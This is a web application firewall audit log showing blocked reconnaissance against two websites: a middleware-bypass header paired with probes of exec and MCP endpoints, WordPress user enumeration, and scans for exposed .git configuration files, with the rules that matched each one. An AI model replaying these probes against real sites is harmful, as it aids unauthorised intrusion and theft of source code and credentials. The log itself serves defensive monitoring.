Content-Type: multipart/form-data; boundary=----r2sx8kpzhjqp7fn
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
Next-Action: r2s
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
Accept-Encoding: gzip
--f570ce04-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--f570ce04-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290563062013 71254 (- - -)
Stopwatch2: 1789290563062013 71254; combined=5427, p1=237, p2=4852, p3=0, p4=0, p5=338, sr=92, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f570ce04-Z--
--45d4e64c-A--
[13/Sep/2026:12:09:23.406348 +0300] aqZoQzTJ6xTvcJoem7f6jwAAAE4 34.73.246.242 57036 127.0.0.1 7081
--45d4e64c-B--
POST /api/v1/validate/code HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 166
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Content-Type: application/json
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
Accept-Encoding: gzip
--45d4e64c-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--45d4e64c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290563335855 70567 (- - -)
Stopwatch2: 1789290563335855 70567; combined=5472, p1=260, p2=4750, p3=0, p4=0, p5=461, sr=93, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--45d4e64c-Z--
--f6221d65-A--
[13/Sep/2026:12:09:23.929194 +0300] aqZoQ2M7dE9KgIIOpQh0MQAAAM0 34.73.246.242 57050 127.0.0.1 7081
--f6221d65-B--
POST /api/fs/exec HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 27
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Content-Type: application/json
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
Accept-Encoding: gzip
--f6221d65-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--f6221d65-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290563857140 72114 (- - -)
Stopwatch2: 1789290563857140 72114; combined=7285, p1=350, p2=6623, p3=0, p4=0, p5=311, sr=147, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f6221d65-Z--
--2e960654-A--
[13/Sep/2026:12:09:24.298693 +0300] aqZoREwu1RSkptiiNIX4IwAAAI8 34.73.246.242 57060 127.0.0.1 7081
--2e960654-B--
DELETE /api/inngest HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
Accept-Encoding: gzip
--2e960654-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--2e960654-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290564199323 99434 (- - -)
Stopwatch2: 1789290564199323 99434; combined=4183, p1=359, p2=3486, p3=0, p4=0, p5=337, sr=108, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2e960654-Z--
--72bebb09-A--
[13/Sep/2026:12:09:24.595270 +0300] aqZoREwu1RSkptiiNIX4JAAAAIQ 34.73.246.242 57066 127.0.0.1 7081
--72bebb09-B--
DELETE /inngest HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
Accept-Encoding: gzip
--72bebb09-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--72bebb09-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290564493111 102251 (- - -)
Stopwatch2: 1789290564493111 102251; combined=4329, p1=217, p2=3718, p3=0, p4=0, p5=394, sr=91, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--72bebb09-Z--
--d017410c-A--
[13/Sep/2026:12:09:24.893748 +0300] aqZoRGM7dE9KgIIOpQh0MgAAAMY 34.73.246.242 57072 127.0.0.1 7081
--d017410c-B--
POST /read-document HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 34
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Content-Type: application/json
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
Accept-Encoding: gzip
--d017410c-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--d017410c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290564825569 68238 (- - -)
Stopwatch2: 1789290564825569 68238; combined=5417, p1=308, p2=4811, p3=0, p4=0, p5=298, sr=126, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d017410c-Z--
--b7f26b4e-A--
[13/Sep/2026:12:09:25.151292 +0300] aqZoRUwu1RSkptiiNIX4JQAAAIY 34.73.246.242 57074 127.0.0.1 7081
--b7f26b4e-B--
POST /read-document HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 20
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Content-Type: application/json
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
Accept-Encoding: gzip
--b7f26b4e-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--b7f26b4e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290565085011 66359 (- - -)
Stopwatch2: 1789290565085011 66359; combined=4975, p1=253, p2=4393, p3=0, p4=0, p5=328, sr=89, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b7f26b4e-Z--
--d38f0860-A--
[13/Sep/2026:12:09:25.521791 +0300] aqZoRUwu1RSkptiiNIX4JgAAAJU 34.73.246.242 57088 127.0.0.1 7081
--d38f0860-B--
POST /mcp HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 168
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Content-Type: application/json
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
Accept-Encoding: gzip
--d38f0860-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--d38f0860-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290565459456 62395 (- - -)
Stopwatch2: 1789290565459456 62395; combined=5371, p1=348, p2=4705, p3=0, p4=0, p5=318, sr=203, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d38f0860-Z--
--8909202e-A--
[13/Sep/2026:12:10:10.819975 +0300] aqZocmM7dE9KgIIOpQh0PAAAAME 192.109.139.3 48068 127.0.0.1 7081
--8909202e-B--
GET //?author=1 HTTP/1.1
Host: chania24.taxi
X-Real-IP: 192.109.139.3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: en-US,en;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
--8909202e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--8909202e-E--
--8909202e-H--
Message: Operator GE matched 1 at ARGS:author. [file "/etc/httpd/conf/modsecurity.d/rules/custom/007_i360_4_wordpress.conf"] [line "59"] [id "77140876"] [msg "IM360 WAF: Track WordPress users enumeration||MVN:ARGS:author||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290610225643 594415 (- - -)
Stopwatch2: 1789290610225643 594415; combined=2893, p1=240, p2=2476, p3=87, p4=33, p5=57, sr=120, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8909202e-Z--
--01191646-A--
[13/Sep/2026:12:10:11.793547 +0300] aqZoc2M7dE9KgIIOpQh0PQAAANI 192.109.139.3 48072 127.0.0.1 7081
--01191646-B--
GET //?author=2 HTTP/1.1
Host: chania24.taxi
X-Real-IP: 192.109.139.3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: en-US,en;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
--01191646-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--01191646-E--
--01191646-H--
Message: Operator GE matched 1 at ARGS:author. [file "/etc/httpd/conf/modsecurity.d/rules/custom/007_i360_4_wordpress.conf"] [line "59"] [id "77140876"] [msg "IM360 WAF: Track WordPress users enumeration||MVN:ARGS:author||MV:2||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290611108309 685331 (- - -)
Stopwatch2: 1789290611108309 685331; combined=2836, p1=245, p2=2455, p3=77, p4=23, p5=36, sr=105, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--01191646-Z--
--7f7a9755-A--
[13/Sep/2026:12:10:15.095517 +0300] aqZodGM7dE9KgIIOpQh0PgAAAMI 192.109.139.3 48082 127.0.0.1 7081
--7f7a9755-B--
GET //wp-json/wp/v2/users/ HTTP/1.1
Host: chania24.taxi
X-Real-IP: 192.109.139.3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
--7f7a9755-F--
HTTP/1.1 401 Unauthorized
X-Powered-By: PHP/7.4.33
X-Robots-Tag: noindex
Link:
; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Allow: GET
Vary: Origin
Transfer-Encoding: chunked
Content-Type: application/json; charset=UTF-8
--7f7a9755-H--
Message: String match "wp-json/wp/v2/users" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "80"] [id "77140942"] [msg "IM360 WAF: Block WordPress 5.3 User Enumeration attempts||T:APACHE||MV:/wp-json/wp/v2/users/||"] [severity "DEBUG"] [tag "service_i360custom"] [tag "wp_core"]
Message: Operator EQ matched 0 at REQUEST_COOKIES. [file "/etc/httpd/conf/modsecurity.d/rules/custom/007_i360_4_wordpress.conf"] [line "426"] [id "77316783"] [msg "IM360 WAF: Monitoring WordPress 5.3 User Enumeration attempts||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "wp_core"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290612065652 3030058 (- - -)
Stopwatch2: 1789290612065652 3030058; combined=33163, p1=203, p2=32868, p3=0, p4=0, p5=92, sr=91, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7f7a9755-Z--
--b280f153-A--
[13/Sep/2026:12:12:05.421160 +0300] aqZo5DTJ6xTvcJoem7f6kgAAAFQ 172.86.81.63 40206 127.0.0.1 7081
--b280f153-B--
GET /.git/objects/info/packs HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--b280f153-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--b280f153-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/objects/info/packs||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/objects/info/packs||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/objects/info/packs"] [unique_id "aqZo5DTJ6xTvcJoem7f6kgAAAFQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290724997712 423497 (- - -)
Stopwatch2: 1789290724997712 423497; combined=5249, p1=226, p2=4965, p3=0, p4=0, p5=58, sr=97, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b280f153-Z--
--8bee3469-A--
[13/Sep/2026:12:12:05.453088 +0300] aqZo5WM7dE9KgIIOpQh0RwAAANg 172.86.81.63 40248 127.0.0.1 7081
--8bee3469-B--
GET /.git/packed-refs HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--8bee3469-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--8bee3469-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/packed-refs||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/packed-refs||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/packed-refs"] [unique_id "aqZo5WM7dE9KgIIOpQh0RwAAANg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725068239 384907 (- - -)
Stopwatch2: 1789290725068239 384907; combined=4178, p1=191, p2=3920, p3=0, p4=0, p5=66, sr=77, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8bee3469-Z--
--69ed9e44-A--
[13/Sep/2026:12:12:05.540052 +0300] aqZo5TTJ6xTvcJoem7f6kwAAAFM 172.86.81.63 40230 127.0.0.1 7081
--69ed9e44-B--
GET /.git/info/exclude HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--69ed9e44-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--69ed9e44-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/info/exclude||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/info/exclude||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/info/exclude"] [unique_id "aqZo5TTJ6xTvcJoem7f6kwAAAFM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725020111 519988 (- - -)
Stopwatch2: 1789290725020111 519988; combined=4551, p1=248, p2=4245, p3=0, p4=0, p5=58, sr=109, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--69ed9e44-Z--
--0d592b34-A--
[13/Sep/2026:12:12:05.550985 +0300] aqZo5WM7dE9KgIIOpQh0SgAAANA 172.86.81.63 40280 127.0.0.1 7081
--0d592b34-B--
GET /.git/config.bak HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--0d592b34-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--0d592b34-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.bak||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config.bak"] [unique_id "aqZo5WM7dE9KgIIOpQh0SgAAANA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.git/config.bak"] [unique_id "aqZo5WM7dE9KgIIOpQh0SgAAANA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config.bak"] [unique_id "aqZo5WM7dE9KgIIOpQh0SgAAANA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290725080999 470044 (- - -)
Stopwatch2: 1789290725080999 470044; combined=54532, p1=169, p2=54296, p3=0, p4=0, p5=66, sr=88, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0d592b34-Z--
--b8ee1532-A--
[13/Sep/2026:12:12:05.788124 +0300] aqZo5SsVWymXUono-eRU3AAAAAI 172.86.81.63 40318 127.0.0.1 7081
--b8ee1532-B--
GET /.git/config.save HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--b8ee1532-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--b8ee1532-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.save||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
